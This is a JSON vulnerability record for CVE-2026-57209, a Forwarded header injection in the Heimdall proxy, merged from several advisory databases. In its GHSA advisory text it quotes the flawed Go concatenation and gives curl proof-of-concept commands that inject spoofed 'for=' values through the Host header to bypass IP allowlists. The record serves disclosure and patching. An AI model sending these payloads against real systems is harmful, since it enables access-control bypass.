{"id":"CVE-2026-57209","aliases":["EUVD-2026-108749","GHSA-4jgr-pg2m-m988","GO-2026-5125","openSUSE-SU-2026:12397-1"],"status":"published","title":"Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode","description":"Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service. Prior to version 0.17.17, when Heimdall operates in proxy mode, it constructs the Forwarded HTTP header after executing the matched rule pipeline by inserting the incoming request's Host header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the Forwarded header, potentially spoofing IP addresses for upstream services. This issue has been patched in version 0.17.17.","severity":{"version":"4.0","score":7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00488,"percentile":0.42499,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20","CWE-74"],"published":"2026-06-18T14:24:41Z","modified":"2026-11-04T17:27:22Z","fixes":[{"ecosystem":"Go","package":"github.com/dadrus/heimdall","fixed_in":["0.17.17"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/dadrus/heimdall","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.17.16"},{"fixed":"0.17.17"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/dadrus/heimdall","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.17.17"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/dadrus/heimdall","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.17.17"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"heimdall","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.2-1.1"}]}],"bundled":2}],"products":[{"vendor":"dadrus","product":"heimdall"}],"references":[{"url":"https://github.com/dadrus/heimdall/security/advisories/GHSA-4jgr-pg2m-m988","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/dadrus/heimdall/releases/tag/v0.17.17","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-4jgr-pg2m-m988"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/57xxx/CVE-2026-57209.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57209","tags":["advisory"]},{"url":"https://github.com/dadrus/heimdall","tags":["package"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-57209","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-57210","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-57209","title":"Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode","description":"Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service. Prior to version 0.17.17, when Heimdall operates in proxy mode, it constructs the Forwarded HTTP header after executing the matched rule pipeline by inserting the incoming request's Host header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the Forwarded header, potentially spoofing IP addresses for upstream services. This issue has been patched in version 0.17.17.","status":"published","published":"2026-10-23T12:27:19.621Z","modified":"2026-10-29T13:16:52.579Z","cvss":[{"version":"4.0","score":7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-20","CWE-74"],"updated_at":"2026-11-02T13:43:44.898272Z"}],"euvd":[{"id":"EUVD-2026-108749","description":"Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service. Prior to version 0.17.17, when Heimdall operates in proxy mode, it constructs the Forwarded HTTP header after executing the matched rule pipeline by inserting the incoming request's Host header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the Forwarded header, potentially spoofing IP addresses for upstream services. This issue has been patched in version 0.17.17.","status":"published","published":"2026-10-23T12:27:19Z","modified":"2026-10-29T13:16:52Z","cvss":[{"version":"4.0","score":7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","level":"high"}],"updated_at":"2026-11-02T16:59:16.844933Z"}],"ghsa":[{"id":"GHSA-4jgr-pg2m-m988","title":"Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode","description":"### Summary\n\nWhen Heimdall operates in proxy mode, it constructs the `Forwarded` HTTP header after executing the matched rule pipeline by inserting the incoming request's `Host` header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the `Forwarded` header, potentially spoofing IP addresses for upstream services.\n\n### Vulnerable Code\n\n**File: `proxy/request_context.go` (line 201)**\n\n```go\nentry := \"for=\" + clientIP + \";host=\" + in.Host + \";proto=\" + proto\n```\n\nGo's `net/http` allows commas and semicolons in Host header values. No sanitization is applied before string concatenation.\n\n### PoC\n\n```bash\n# Inject a spoofed IP into the Forwarded header\ncurl -s -H \"Host: evil.com,for=127.0.0.1\" \\\n  \"http://TARGET:PORT/protected-resource\"\n```\n\nThis produces the following `Forwarded` header sent to the upstream service:\n\n```\nForwarded: for=1.2.3.4;host=evil.com, for=127.0.0.1;proto=http\n```\n\nUpstream services that parse the `Forwarded` header according to RFC 7239 will see two entries. If the service trusts the last or any `for=` value, the attacker successfully spoofs `127.0.0.1` as the client IP.\n\n```bash\n# More targeted attack: spoof to bypass IP allowlist\ncurl -s -H \"Host: legit.com;for=10.0.0.1;proto=https,for=192.168.1.1\" \\\n  \"http://TARGET:PORT/admin-panel\"\n```\n\n### Impact\n\n- **IP spoofing:** Upstream services behind Heimdall may trust the injected `for=` value, believing the request originates from an internal/trusted IP\n- **Access control bypass:** Applications that restrict access based on IP address by themselves, without using the corresponding heimdall capabilities (e.g., admin panels, internal APIs), can be bypassed\n- **Affects all proxy-mode deployments** where upstream services parse the `Forwarded` header.","status":"published","published":"2026-06-18T14:24:41Z","modified":"2026-07-20T21:28:48Z","cvss":[{"version":"4.0","score":7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","level":"high"}],"cwes":["CWE-20","CWE-74"],"updated_at":"2026-11-02T14:40:48.410776Z"}],"nvd":[{"id":"CVE-2026-57209","description":"Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service. Prior to version 0.17.17, when Heimdall operates in proxy mode, it constructs the Forwarded HTTP header after executing the matched rule pipeline by inserting the incoming request's Host header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the Forwarded header, potentially spoofing IP addresses for upstream services. This issue has been patched in version 0.17.17.","status":"published","published":"2026-10-23T13:17:11.687Z","modified":"2026-10-29T14:17:57.73Z","cvss":[{"version":"4.0","score":7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-20","CWE-74"],"updated_at":"2026-11-02T14:13:02.724605Z"}],"osv":[{"id":"CVE-2026-57209","title":"Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode","description":"Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service. Prior to version 0.17.17, when Heimdall operates in proxy mode, it constructs the Forwarded HTTP header after executing the matched rule pipeline by inserting the incoming request's Host header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the Forwarded header, potentially spoofing IP addresses for upstream services. This issue has been patched in version 0.17.17.","status":"published","published":"2026-10-23T12:27:19.621Z","modified":"2026-11-04T17:27:22.367695159Z","cvss":[{"version":"4.0","score":7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","level":"high"}],"cwes":["CWE-20","CWE-74"],"updated_at":"2026-11-04T17:42:06.951002Z"},{"id":"GHSA-4jgr-pg2m-m988","title":"Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode","description":"### Summary\n\nWhen Heimdall operates in proxy mode, it constructs the `Forwarded` HTTP header after executing the matched rule pipeline by inserting the incoming request's `Host` header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the `Forwarded` header, potentially spoofing IP addresses for upstream services.\n\n### Vulnerable Code\n\n**File: `proxy/request_context.go` (line 201)**\n\n```go\nentry := \"for=\" + clientIP + \";host=\" + in.Host + \";proto=\" + proto\n```\n\nGo's `net/http` allows commas and semicolons in Host header values. No sanitization is applied before string concatenation.\n\n### PoC\n\n```bash\n# Inject a spoofed IP into the Forwarded header\ncurl -s -H \"Host: evil.com,for=127.0.0.1\" \\\n  \"http://TARGET:PORT/protected-resource\"\n```\n\nThis produces the following `Forwarded` header sent to the upstream service:\n\n```\nForwarded: for=1.2.3.4;host=evil.com, for=127.0.0.1;proto=http\n```\n\nUpstream services that parse the `Forwarded` header according to RFC 7239 will see two entries. If the service trusts the last or any `for=` value, the attacker successfully spoofs `127.0.0.1` as the client IP.\n\n```bash\n# More targeted attack: spoof to bypass IP allowlist\ncurl -s -H \"Host: legit.com;for=10.0.0.1;proto=https,for=192.168.1.1\" \\\n  \"http://TARGET:PORT/admin-panel\"\n```\n\n### Impact\n\n- **IP spoofing:** Upstream services behind Heimdall may trust the injected `for=` value, believing the request originates from an internal/trusted IP\n- **Access control bypass:** Applications that restrict access based on IP address by themselves, without using the corresponding heimdall capabilities (e.g., admin panels, internal APIs), can be bypassed\n- **Affects all proxy-mode deployments** where upstream services parse the `Forwarded` header.","status":"published","published":"2026-06-18T14:24:41Z","modified":"2026-07-20T21:56:16.566999339Z","cvss":[{"version":"4.0","score":7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","level":"high"}],"cwes":["CWE-20","CWE-74"],"updated_at":"2026-11-02T15:46:37.148947Z"},{"id":"GO-2026-5125","title":"Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode in github.com/dadrus/heimdall","description":"Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode in github.com/dadrus/heimdall","status":"published","published":"2026-06-25T18:26:48Z","modified":"2026-07-20T21:56:16.566999339Z","updated_at":"2026-11-02T15:47:02.556545Z"},{"id":"openSUSE-SU-2026:12397-1","title":"heimdall-2.2.2-1.1 on GA media","description":"These are all security issues fixed in the heimdall-2.2.2-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-11-03T00:00:00Z","modified":"2026-11-04T17:23:21.45788337Z","updated_at":"2026-11-04T17:43:22.558805Z"}]}}